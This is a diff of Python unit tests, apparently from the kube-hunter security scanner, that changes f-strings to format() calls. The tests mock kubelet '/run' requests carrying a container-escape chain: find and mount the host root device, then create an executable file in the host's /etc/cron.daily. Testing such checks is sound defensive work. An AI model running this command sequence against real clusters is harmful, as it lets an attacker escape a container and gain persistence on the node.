run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(run_url + urllib.parse.quote("touch {}".format(file_name_with_path), safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""),
text="Permission denied",
@@ -547,12 +547,12 @@ def test_process_exposed_existing_privileged_container_success():
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
run_url + urllib.parse.quote("cat {}/etc/hostname".format(directory_created), safe=""), text="mockhostname"
)
return_value = class_being_tested.process_exposed_existing_privileged_container(
@@ -619,7 +619,9 @@ def test_process_exposed_existing_privileged_container_failure_when_mkdir():
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="Permission denied")
session_mock.post(
run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="Permission denied"
)
return_value = class_being_tested.process_exposed_existing_privileged_container(
url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu",
@@ -642,7 +644,7 @@ def test_process_exposed_existing_privileged_container_failure_when_mount():
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""),
text="Permission denied",
@@ -669,12 +671,12 @@ def test_process_exposed_existing_privileged_container_failure_when_cat_hostname
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""),
run_url + urllib.parse.quote("cat {}/etc/hostname".format(directory_created), safe=""),
text="Permission denied",
)
@@ -697,18 +699,18 @@ def test_maliciousintentviasecurekubeletport_success():
run_url = url + "run/kube-hunter-privileged/kube-hunter-privileged-deployment-86dc79f945-sjjps/ubuntu?cmd="
directory_created = "/kube-hunter-mock_" + str(uuid.uuid1())
file_name = "kube-hunter-mock" + str(uuid.uuid1())
file_name_with_path = f"{directory_created}/etc/cron.daily/{file_name}"
file_name_with_path = "{}/etc/cron.daily/{}".format(directory_created, file_name)
session_mock.post(run_url + urllib.parse.quote("cat /proc/cmdline", safe=""), text=cat_proc_cmdline)
session_mock.post(run_url + urllib.parse.quote("findfs LABEL=Mock", safe=""), text="/dev/mock_fs")
session_mock.post(run_url + urllib.parse.quote(f"mkdir {directory_created}", safe=""), text="")
session_mock.post(run_url + urllib.parse.quote("mkdir {}".format(directory_created), safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("mount {} {}".format("/dev/mock_fs", directory_created), safe=""), text=""
)
session_mock.post(
run_url + urllib.parse.quote(f"cat {directory_created}/etc/hostname", safe=""), text="mockhostname"
run_url + urllib.parse.quote("cat {}/etc/hostname".format(directory_created), safe=""), text="mockhostname"
)
session_mock.post(run_url + urllib.parse.quote(f"touch {file_name_with_path}", safe=""), text="")
session_mock.post(run_url + urllib.parse.quote("touch {}".format(file_name_with_path), safe=""), text="")
session_mock.post(
run_url + urllib.parse.quote("chmod {} {}".format("755", file_name_with_path), safe=""), text=""
)